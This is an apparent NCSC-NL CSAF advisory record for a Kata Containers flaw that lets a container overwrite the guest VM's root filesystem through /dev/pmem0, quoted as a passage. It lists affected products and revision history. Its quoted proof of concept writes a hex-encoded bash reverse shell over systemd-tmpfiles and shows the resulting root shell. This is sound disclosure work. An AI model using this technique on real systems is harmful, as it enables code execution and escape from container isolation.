{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-24834", "tracking": { "current_release_date": "2026-03-27T15:47:10.349320Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-24834", "initial_release_date": "2026-02-19T15:39:43.263832Z", "revision_history": [ { "date": "2026-02-19T15:39:43.263832Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-02-19T15:39:52.405823Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-02-19T16:38:43.708475Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-02-19T16:38:45.969449Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-02-19T18:12:31.281268Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-02-19T18:12:36.464119Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-02-19T18:25:55.034886Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-02-19T18:26:00.090254Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-02-19T21:39:52.359815Z", "number": "9", "summary": "References created (1)." }, { "date": "2026-02-19T22:39:24.479317Z", "number": "10", "summary": "Unknown change." }, { "date": "2026-02-20T00:36:40.699116Z", "number": "11", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (72).| Products created (1).| References created (5).| CWES updated (1)." }, { "date": "2026-02-20T12:27:42.054627Z", "number": "12", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (4).| Product Identifiers created (2).| Product Remediations created (4).| References created (5).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-02-20T12:27:47.370716Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-02-20T14:14:13.657623Z", "number": "14", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-02-20T18:12:34.899041Z", "number": "15", "summary": "References created (1)." }, { "date": "2026-02-20T18:12:36.289924Z", "number": "16", "summary": "NCSC Score updated." }, { "date": "2026-02-21T05:38:36.565180Z", "number": "17", "summary": "Unknown change." }, { "date": "2026-02-23T18:19:45.202713Z", "number": "18", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (2).| Product Identifiers created (2).| CWES updated (1)." }, { "date": "2026-02-23T18:19:46.548775Z", "number": "19", "summary": "NCSC Score updated." }, { "date": "2026-02-23T20:25:07.267496Z", "number": "20", "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-02-23T20:25:14.244386Z", "number": "21", "summary": "NCSC Score updated." }, { "date": "2026-02-24T00:13:01.397363Z", "number": "22", "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (4)." }, { "date": "2026-02-25T12:20:16.824866Z", "number": "23", "summary": "CVSS updated." }, { "date": "2026-02-25T12:20:26.269764Z", "number": "24", "summary": "NCSC Score updated." }, { "date": "2026-03-20T09:50:15.721071Z", "number": "25", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T09:50:18.692071Z", "number": "26", "summary": "NCSC Score updated." }, { "date": "2026-03-21T18:47:34.957813Z", "number": "27", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (6).| CWES updated (1)." }, { "date": "2026-03-21T18:47:37.029481Z", "number": "28", "summary": "NCSC Score updated." }, { "date": "2026-03-27T15:47:09.351591Z", "number": "29", "summary": "NCSC Score updated." } ], "status": "interim", "version": "29" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/1", "product": { "name": "vers:rpm/1", "product_id": "CSAFPID-2905027", "product_identification_helper": { "cpe": "cpe:/a:redhat:confidential_compute_attestation:1" } } } ], "category": "product_name", "name": "Confidential Compute Attestation" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/4", "product": { "name": "vers:rpm/4", "product_id": "CSAFPID-1439328", "product_identification_helper": { "cpe": "cpe:/a:redhat:openshift:4" } } } ], "category": "product_name", "name": "Red Hat OpenShift Container Platform 4" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1920008" } } ], "category": "product_name", "name": "kata-containers" } ], "category": "product_family", "name": "Red Hat OpenShift Container Platform 4" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-3036153" } } ], "category": "product_name", "name": "osc-monitor-rhel9" } ], "category": "product_family", "name": "Confidential Compute Attestation" } ], "category": "vendor", "name": "Red Hat" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<3.27.0", "product": { "name": "vers:unknown/<3.27.0", "product_id": "CSAFPID-5677439", "product_identification_helper": { "cpe": "cpe:2.3:a:katacontainers:kata_containers:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "Kata Containers" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/1.10.0-rc0", "product": { "name": "vers:unknown/1.10.0-rc0", "product_id": "CSAFPID-4479660" } }, { "category": "product_version_range", "name": "vers:unknown/1.11.0-alpha0", "product": { "name": "vers:unknown/1.11.0-alpha0", "product_id": "CSAFPID-4479662" } }, { "category": "product_version_range", "name": "vers:unknown/1.11.0-alpha1", "product": { "name": "vers:unknown/1.11.0-alpha1", "product_id": "CSAFPID-4479663" } }, { "category": "product_version_range", "name": "vers:unknown/1.11.0-rc0", "product": { "name": "vers:unknown/1.11.0-rc0", "product_id": "CSAFPID-4479664" } }, { "category": "product_version_range", "name": "vers:unknown/1.9.3", "product": { "name": "vers:unknown/1.9.3", "product_id": "CSAFPID-4660635" } }, { "category": "product_version_range", "name": "vers:unknown/2.0.0-alpha1", "product": { "name": "vers:unknown/2.0.0-alpha1", "product_id": "CSAFPID-4660636" } }, { "category": "product_version_range", "name": "vers:unknown/2.0.0-alpha2", "product": { "name": "vers:unknown/2.0.0-alpha2", "product_id": "CSAFPID-4660637" } }, { "category": "product_version_range", "name": "vers:unknown/2.0.0-alpha3", "product": { "name": "vers:unknown/2.0.0-alpha3", "product_id": "CSAFPID-4660638" } }, { "category": "product_version_range", "name": "vers:unknown/2.0.0-rc0", "product": { "name": "vers:unknown/2.0.0-rc0", "product_id": "CSAFPID-4660639" } }, { "category": "product_version_range", "name": "vers:unknown/2.1-alpha0", "product": { "name": "vers:unknown/2.1-alpha0", "product_id": "CSAFPID-4660640" } }, { "category": "product_version_range", "name": "vers:unknown/2.1-alpha1", "product": { "name": "vers:unknown/2.1-alpha1", "product_id": "CSAFPID-4660641" } }, { "category": "product_version_range", "name": "vers:unknown/2.1.0-alpha0", "product": { "name": "vers:unknown/2.1.0-alpha0", "product_id": "CSAFPID-4660642" } }, { "category": "product_version_range", "name": "vers:unknown/2.1.0-alpha1", "product": { "name": "vers:unknown/2.1.0-alpha1", "product_id": "CSAFPID-4660643" } }, { "category": "product_version_range", "name": "vers:unknown/2.1.0-alpha2", "product": { "name": "vers:unknown/2.1.0-alpha2", "product_id": "CSAFPID-4660644" } }, { "category": "product_version_range", "name": "vers:unknown/2.1.0-rc0", "product": { "name": "vers:unknown/2.1.0-rc0", "product_id": "CSAFPID-4660645" } }, { "category": "product_version_range", "name": "vers:unknown/2.2.0-alpha0", "product": { "name": "vers:unknown/2.2.0-alpha0", "product_id": "CSAFPID-4660646" } }, { "category": "product_version_range", "name": "vers:unknown/2.2.0-alpha1", "product": { "name": "vers:unknown/2.2.0-alpha1", "product_id": "CSAFPID-4660647" } }, { "category": "product_version_range", "name": "vers:unknown/2.2.0-rc0", "product": { "name": "vers:unknown/2.2.0-rc0", "product_id": "CSAFPID-4660648" } }, { "category": "product_version_range", "name": "vers:unknown/2.3.0-alpha0", "product": { "name": "vers:unknown/2.3.0-alpha0", "product_id": "CSAFPID-4660649" } }, { "category": "product_version_range", "name": "vers:unknown/2.3.0-alpha1", "product": { "name": "vers:unknown/2.3.0-alpha1", "product_id": "CSAFPID-4660650" } }, { "category": "product_version_range", "name": "vers:unknown/2.3.0-alpha2", "product": { "name": "vers:unknown/2.3.0-alpha2", "product_id": "CSAFPID-4660651" } }, { "category": "product_version_range", "name": "vers:unknown/2.3.0-rc0", "product": { "name": "vers:unknown/2.3.0-rc0", "product_id": "CSAFPID-4660652" } }, { "category": "product_version_range", "name": "vers:unknown/2.4.0-alpha0", "product": { "name": "vers:unknown/2.4.0-alpha0", "product_id": "CSAFPID-4660653" } }, { "category": "product_version_range", "name": "vers:unknown/2.4.0-alpha1", "product": { "name": "vers:unknown/2.4.0-alpha1", "product_id": "CSAFPID-4660654" } }, { "category": "product_version_range", "name": "vers:unknown/2.4.0-alpha2", "product": { "name": "vers:unknown/2.4.0-alpha2", "product_id": "CSAFPID-4660655" } }, { "category": "product_version_range", "name": "vers:unknown/2.4.0-rc0", "product": { "name": "vers:unknown/2.4.0-rc0", "product_id": "CSAFPID-4660656" } }, { "category": "product_version_range", "name": "vers:unknown/2.5.0-alpha0", "product": { "name": "vers:unknown/2.5.0-alpha0", "product_id": "CSAFPID-4660657" } }, { "category": "product_version_range", "name": "vers:unknown/2.5.0-alpha1", "product": { "name": "vers:unknown/2.5.0-alpha1", "product_id": "CSAFPID-4660658" } }, { "category": "product_version_range", "name": "vers:unknown/2.5.0-alpha2", "product": { "name": "vers:unknown/2.5.0-alpha2", "product_id": "CSAFPID-4660659" } }, { "category": "product_version_range", "name": "vers:unknown/2.5.0-rc0", "product": { "name": "vers:unknown/2.5.0-rc0", "product_id": "CSAFPID-4660660" } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0-alpha0", "product": { "name": "vers:unknown/3.0.0-alpha0", "product_id": "CSAFPID-4660661" } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0-alpha1", "product": { "name": "vers:unknown/3.0.0-alpha1", "product_id": "CSAFPID-4660662" } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0-rc0", "product": { "name": "vers:unknown/3.0.0-rc0", "product_id": "CSAFPID-4660663" } }, { "category": "product_version_range", "name": "vers:unknown/3.1.0-alpha0", "product": { "name": "vers:unknown/3.1.0-alpha0", "product_id": "CSAFPID-4660664" } }, { "category": "product_version_range", "name": "vers:unknown/3.1.0-alpha1", "product": { "name": "vers:unknown/3.1.0-alpha1", "product_id": "CSAFPID-4660665" } }, { "category": "product_version_range", "name": "vers:unknown/3.1.0-rc0", "product": { "name": "vers:unknown/3.1.0-rc0", "product_id": "CSAFPID-4660666" } }, { "category": "product_version_range", "name": "vers:unknown/3.10.0", "product": { "name": "vers:unknown/3.10.0", "product_id": "CSAFPID-4660667" } }, { "category": "product_version_range", "name": "vers:unknown/3.10.1", "product": { "name": "vers:unknown/3.10.1", "product_id": "CSAFPID-4660668" } }, { "category": "product_version_range", "name": "vers:unknown/3.11.0", "product": { "name": "vers:unknown/3.11.0", "product_id": "CSAFPID-4660669" } }, { "category": "product_version_range", "name": "vers:unknown/3.12.0", "product": { "name": "vers:unknown/3.12.0", "product_id": "CSAFPID-4660670" } }, { "category": "product_version_range", "name": "vers:unknown/3.13.0", "product": { "name": "vers:unknown/3.13.0", "product_id": "CSAFPID-4660671" } }, { "category": "product_version_range", "name": "vers:unknown/3.14.0", "product": { "name": "vers:unknown/3.14.0", "product_id": "CSAFPID-4660672" } }, { "category": "product_version_range", "name": "vers:unknown/3.15.0", "product": { "name": "vers:unknown/3.15.0", "product_id": "CSAFPID-4660673" } }, { "category": "product_version_range", "name": "vers:unknown/3.16.0", "product": { "name": "vers:unknown/3.16.0", "product_id": "CSAFPID-4660674" } }, { "category": "product_version_range", "name": "vers:unknown/3.17.0", "product": { "name": "vers:unknown/3.17.0", "product_id": "CSAFPID-4660675" } }, { "category": "product_version_range", "name": "vers:unknown/3.18.0", "product": { "name": "vers:unknown/3.18.0", "product_id": "CSAFPID-4660676" } }, { "category": "product_version_range", "name": "vers:unknown/3.19.0", "product": { "name": "vers:unknown/3.19.0", "product_id": "CSAFPID-4660677" } }, { "category": "product_version_range", "name": "vers:unknown/3.19.1", "product": { "name": "vers:unknown/3.19.1", "product_id": "CSAFPID-4660678" } }, { "category": "product_version_range", "name": "vers:unknown/3.2.0-alpha0", "product": { "name": "vers:unknown/3.2.0-alpha0", "product_id": "CSAFPID-4660679" } }, { "category": "product_version_range", "name": "vers:unknown/3.2.0-alpha1", "product": { "name": "vers:unknown/3.2.0-alpha1", "product_id": "CSAFPID-4660680" } }, { "category": "product_version_range", "name": "vers:unknown/3.2.0-alpha2", "product": { "name": "vers:unknown/3.2.0-alpha2", "product_id": "CSAFPID-4660681" } }, { "category": "product_version_range", "name": "vers:unknown/3.2.0-alpha3", "product": { "name": "vers:unknown/3.2.0-alpha3", "product_id": "CSAFPID-4660682" } }, { "category": "product_version_range", "name": "vers:unknown/3.2.0-alpha4", "product": { "name": "vers:unknown/3.2.0-alpha4", "product_id": "CSAFPID-4660683" } }, { "category": "product_version_range", "name": "vers:unknown/3.2.0-rc0", "product": { "name": "vers:unknown/3.2.0-rc0", "product_id": "CSAFPID-4660684" } }, { "category": "product_version_range", "name": "vers:unknown/3.20.0", "product": { "name": "vers:unknown/3.20.0", "product_id": "CSAFPID-4660685" } }, { "category": "product_version_range", "name": "vers:unknown/3.21.0", "product": { "name": "vers:unknown/3.21.0", "product_id": "CSAFPID-5491170" } }, { "category": "product_version_range", "name": "vers:unknown/3.22.0", "product": { "name": "vers:unknown/3.22.0", "product_id": "CSAFPID-5491171" } }, { "category": "product_version_range", "name": "vers:unknown/3.23.0", "product": { "name": "vers:unknown/3.23.0", "product_id": "CSAFPID-5491172" } }, { "category": "product_version_range", "name": "vers:unknown/3.24.0", "product": { "name": "vers:unknown/3.24.0", "product_id": "CSAFPID-5491173" } }, { "category": "product_version_range", "name": "vers:unknown/3.25.0", "product": { "name": "vers:unknown/3.25.0", "product_id": "CSAFPID-5491174" } }, { "category": "product_version_range", "name": "vers:unknown/3.26.0", "product": { "name": "vers:unknown/3.26.0", "product_id": "CSAFPID-5643330" } }, { "category": "product_version_range", "name": "vers:unknown/3.3.0", "product": { "name": "vers:unknown/3.3.0", "product_id": "CSAFPID-4660686" } }, { "category": "product_version_range", "name": "vers:unknown/3.3.0-alpha0", "product": { "name": "vers:unknown/3.3.0-alpha0", "product_id": "CSAFPID-4660687" } }, { "category": "product_version_range", "name": "vers:unknown/3.3.0-test", "product": { "name": "vers:unknown/3.3.0-test", "product_id": "CSAFPID-4660688" } }, { "category": "product_version_range", "name": "vers:unknown/3.4.0", "product": { "name": "vers:unknown/3.4.0", "product_id": "CSAFPID-4660689" } }, { "category": "product_version_range", "name": "vers:unknown/3.5.0", "product": { "name": "vers:unknown/3.5.0", "product_id": "CSAFPID-4660690" } }, { "category": "product_version_range", "name": "vers:unknown/3.6.0", "product": { "name": "vers:unknown/3.6.0", "product_id": "CSAFPID-4660691" } }, { "category": "product_version_range", "name": "vers:unknown/3.7.0", "product": { "name": "vers:unknown/3.7.0", "product_id": "CSAFPID-4660692" } }, { "category": "product_version_range", "name": "vers:unknown/3.8.0", "product": { "name": "vers:unknown/3.8.0", "product_id": "CSAFPID-4660693" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.0", "product": { "name": "vers:unknown/3.9.0", "product_id": "CSAFPID-4660694" } }, { "category": "product_version_range", "name": "vers:unknown/<3.27.0", "product": { "name": "vers:unknown/<3.27.0", "product_id": "CSAFPID-5634503" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<0.0.0-20260219090056-6a672503973b", "product": { "name": "vers:unknown/>=0|<0.0.0-20260219090056-6a672503973b", "product_id": "CSAFPID-5636592" } }, { "category": "product_version_range", "name": "vers:unknown/release-3.4.0", "product": { "name": "vers:unknown/release-3.4.0", "product_id": "CSAFPID-4660695" } }, { "category": "product_version_range", "name": "vers:unknown/untagged-b5b6198308b02e3a2666", "product": { "name": "vers:unknown/untagged-b5b6198308b02e3a2666", "product_id": "CSAFPID-4660696" } }, { "category": "product_version_range", "name": "vers:unknown/untagged-c2a61792b39392572d0f", "product": { "name": "vers:unknown/untagged-c2a61792b39392572d0f", "product_id": "CSAFPID-4660697" } } ], "category": "product_name", "name": "kata-containers" } ], "category": "vendor", "name": "Kata Containers" }, { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5197867", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:cbl2_kata-containers_3.2.0.azl2-7:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "cbl2 kata-containers 3.2.0.azl2-7 on CBL Mariner 2.0" }, { "branches": [ { "category": "product_version_range", "name": "vers:microsoft/*", "product": { "name": "vers:microsoft/*", "product_id": "CSAFPID-5197866", "product_identification_helper": { "cpe": "cpe:2.3:a:microsoft:cbl2_kata-containers-cc_3.2.0.azl2-8:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "cbl2 kata-containers-cc 3.2.0.azl2-8 on CBL Mariner 2.0" } ], "category": "product_family", "name": "Open Source Software" } ], "category": "vendor", "name": "Microsoft" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/0.0.0-20260219090056-6a672503973b", "product": { "name": "vers:unknown/0.0.0-20260219090056-6a672503973b", "product_id": "CSAFPID-5888522" } }, { "category": "product_version_range", "name": "vers:unknown/<0.0.0-20260219090056-6a672503973b", "product": { "name": "vers:unknown/<0.0.0-20260219090056-6a672503973b", "product_id": "CSAFPID-5888523" } } ], "category": "product_name", "name": "go/github.com/kata-containers/kata-containers/src/runtime" } ], "category": "vendor", "name": "src" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-24834", "cwe": { "id": "CWE-732", "name": "Incorrect Permission Assignment for Critical Resource" }, "notes": [ { "category": "description", "text": "Kata Container to Guest micro VM privilege escalation", "title": "microsoft - https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Feb" }, { "category": "description", "text": "### Summary\n\nAn issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file).\n\n### Details\n\n_Linux virtio-pmem_\nThe `virtio-pmem` probe path always registers the region as a generic pagemap that supports asynchronous flushes, but it never marks the region as read-only. Only the `ND_REGION_PAGEMAP` and `ND_REGION_ASYNC` bits are set before the region is created, so `nd_region->ro always` stays cleared and the block device is left writable.\n\nLater, `pmem_attach_disk()` wires the region into the block layer with full read/write semantics – the block device operations call `pmem_do_write()` which performs cache-flushed memcpy operations directly into the host-provided shared memory window. `nvdimm_check_and_set_ro()` would set the disk read-only if the region had been flagged as such, but because `virtio_pmem` never sets that flag, the helper becomes a no-op.\n\n_Cloud-Hypervisor virtio_pmem_\n`discard_writes=on` causes the file backing the `virtio-pmem` device to be opened read-only and mapped with `MAP_PRIVATE` rather than `MAP_SHARED`. That combination means the guest can modify the private copy of the mapped pages, but those modifications never propagate back to the underlying file. The guest (and Cloud Hypervisor process) will still read the modified data because it lives in the private copy of the mapping, so write-then-read sequences appear to succeed even though nothing is persisted. Once the mapping is dropped or the VM is restarted, those copy-on-write changes disappear, leaving the backing file unchanged.\n\n_Kata /dev/pmem0_\nKata boots each pod/VM by DAX-mapping a read-only guest image from the host into the VM and telling the guest kernel to mount the resulting `/dev/pmem*` device as its root filesystem.\nSince DAX maps the backing file directly into guest memory, there is no way for the hypervisor to intercept or reject individual stores, so a container with sufficient permissions can open `/dev/pmem0` and observe its own writes until the VM is rebooted or the cache is dropped.\n\n### PoC\n\nWhen putting all this together, this means that a user of a Container (not necessarily privileged, we don’t need `CAP_SYS_ADMIN`, but we need `CAP_MKNOD`) can modify the Guest OS filesystem, replacing libraries or binaries to achieve arbitrary code execution outside of the Container. This requires computing offsets of files within the device, which requires information like the partition start sector, sector size in bytes, the filesystem block size, and the physical block index of the file.\n\nTo achieve execution on the Guest, I replaced `/usr/bin/systemd-tmpfiles` with a connect-back shell to `localhost`: timers end up executing 15min after boot.\nI use `debugfs` to not require mounting privileges and work directly with the filesystem on `/dev/pmem0p1` to get the absolute offset of the file to modify in the device.\n\nIf you want a simpler PoC, just `dd` write something into `/dev/pmem0` and observe it's `dd` readable until discarded.\n\n```\nroot@ab5392da44ce:~# mknod /dev/pmem0 b 259 0\nroot@ab5392da44ce:~# mknod /dev/pmem0p1 b 259 1\nroot@ab5392da44ce:~# python pmem.py --file /usr/bin/systemd-tmpfiles --write --pattern 23212f62696e2f626173680a62617368202d69203e26202f6465762f7463702f3132372e302e302e312f34343320303e26310a6578697420300a\n=== Resolution ===\nPartition device: /dev/pmem0p1 (pmem0p1)\nPartition start (sectors): 2048\nSector size (bytes): 512\nPartition start (bytes): 1048576\nFilesystem block size: 4096\nFile path: /usr/bin/systemd-tmpfiles\nFile offset (bytes): 0\nLogical block index: 0\nIntra-block offset: 0\nPhysical block index: 40668\n→ Absolute pmem offset: 167624704\n[*] Raw read (64 bytes at 167624704):\n09fdc000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|\n09fdc010 03 00 3e 00 01 00 00 00 20 66 00 00 00 00 00 00 |..>..... f......|\n09fdc020 40 00 00 00 00 00 00 00 48 82 01 00 00 00 00 00 |@.......H.......|\n09fdc030 00 00 00 00 40 00 38 00 0d 00 40 00 20 00 1f 00 |....@.8...@. ...|\n[+] Wrote 58 bytes at absolute offset 167624704. Verifying...\n09fdc000 23 21 2f 62 69 6e 2f 62 61 73 68 0a 62 61 73 68 |#!/bin/bash.bash|\n09fdc010 20 2d 69 20 3e 26 20 2f 64 65 76 2f 74 63 70 2f | -i >& /dev/tcp/|\n09fdc020 31 32 37 2e 30 2e 30 2e 31 2f 34 34 33 20 30 3e |127.0.0.1/443 0>|\n09fdc030 26 31 0a 65 78 69 74 20 30 0a |&1.exit 0.|\nroot@ab5392da44ce:~# nc -lvp 443\nNcat: Version 7.93 ( https://nmap.org/ncat )\nNcat: Listening on :::443\nNcat: Listening on 0.0.0.0:443\nNcat: Connection from 127.0.0.1.\nNcat: Connection from 127.0.0.1:44880.\nbash: cannot set terminal process group (329): Inappropriate ioctl for device\nbash: no job control in this shell\nroot@localhost:/# \nroot@localhost:/# ps auxw\nps auxw\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 17280 1920 ? Ss 16:16 0:01 /sbin/init\nroot 2 0.0 0.0 0 0 ? S 16:16 0:00 [kthreadd]\nroot 3 0.0 0.0 0 0 ? S 16:16 0:00 [pool_workqueue_release]\nroot 4 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-rcu_gp]\nroot 5 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-sync_wq]\nroot 6 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-slub_flushwq]\nroot 7 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-netns]\nroot 9 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:0H-events_highpri]\nroot 10 0.0 0.0 0 0 ? I 16:16 0:01 [kworker/0:1-events_power_efficient]\nroot 12 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mm_percpu_wq]\nroot 13 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_tasks_trace_kthread]\nroot 14 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/0]\nroot 15 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_sched]\nroot 16 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_par_gp_kthread_worker/1]\nroot 17 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_gp_kthread_worker]\nroot 18 0.0 0.0 0 0 ? S 16:16 0:00 [migration/0]\nroot 19 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/0]\nroot 20 0.0 0.0 0 0 ? S 16:16 0:00 [kdevtmpfs]\nroot 21 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-inet_frag_wq]\nroot 22 0.0 0.0 0 0 ? S 16:16 0:00 [kauditd]\nroot 23 0.0 0.0 0 0 ? S 16:16 0:00 [oom_reaper]\nroot 24 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-writeback]\nroot 25 0.0 0.0 0 0 ? S 16:16 0:00 [kcompactd0]\nroot 26 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-cryptd]\nroot 27 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kblockd]\nroot 28 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:1H]\nroot 29 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:1-events_unbound]\nroot 30 0.0 0.0 0 0 ? S 16:16 0:00 [kswapd0]\nroot 31 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfsalloc]\nroot 32 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfs_mru_cache]\nroot 33 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/u257:0]\nroot 34 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kthrotld]\nroot 36 0.0 0.0 0 0 ? S 16:16 0:00 [irq/25-ACPI:Ged]\nroot 37 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-nfit]\nroot 38 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/0:2-virtio_vsock]\nroot 39 0.0 0.0 0 0 ? S 16:16 0:00 [hwrng]\nroot 40 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:2-events_unbound]\nroot 41 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-vfio-irqfd-cleanup]\nroot 42 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mld]\nroot 43 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ipv6_addrconf]\nroot 81 0.0 0.0 0 0 ? S 16:16 0:00 [jbd2/pmem0p1-8]\nroot 82 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ext4-rsv-conversion]\nroot 99 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:3]\nroot 105 0.0 0.0 62032 2568 ? Ssl 16:16 0:02 /usr/bin/kata-agent\n_chrony 117 0.0 0.0 10692 540 ? S 16:16 0:02 /usr/sbin/chronyd -F 1\n_chrony 120 0.0 0.0 10560 460 ? S 16:16 0:00 /usr/sbin/chronyd -F 1\nroot 122 0.2 1.0 44876 31556 ? S 16:16 0:11 python -m server\nmessage+ 124 0.0 0.0 8120 384 ? Ss 16:16 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only\nroot 129 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/1]\nroot 130 0.0 0.0 0 0 ? S 16:16 0:00 [migration/1]\nroot 131 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/1]\nroot 132 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:0-mm_percpu_wq]\nroot 133 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:0H-events_highpri]\nroot 134 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:1H]\nroot 142 0.0 0.0 5400 2220 pts/0 Ss 16:16 0:00 bash -l\nroot 145 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:1]\nroot 323 0.0 0.1 13212 3448 pts/0 R+ 16:17 0:00 nc -lvp 443\nroot 329 0.0 0.0 4780 256 ? Ss 16:31 0:00 /bin/bash /usr/bin/systemd-tmpfiles --clean\nroot 330 0.0 0.0 5048 512 ? S 16:31 0:00 bash -i\nroot 377 0.0 0.0 7480 256 ? R 17:33 0:00 ps auxw\nroot@localhost:/#\n```\n\n### Impact\nContainer to Guest micro VM Escape (no escape to Host, no persistence of the overwritten image)", "title": "github - https://github.com/advisories/GHSA-wwj6-vghv-5p64" }, { "category": "description", "text": "Kata Containers is an open source project 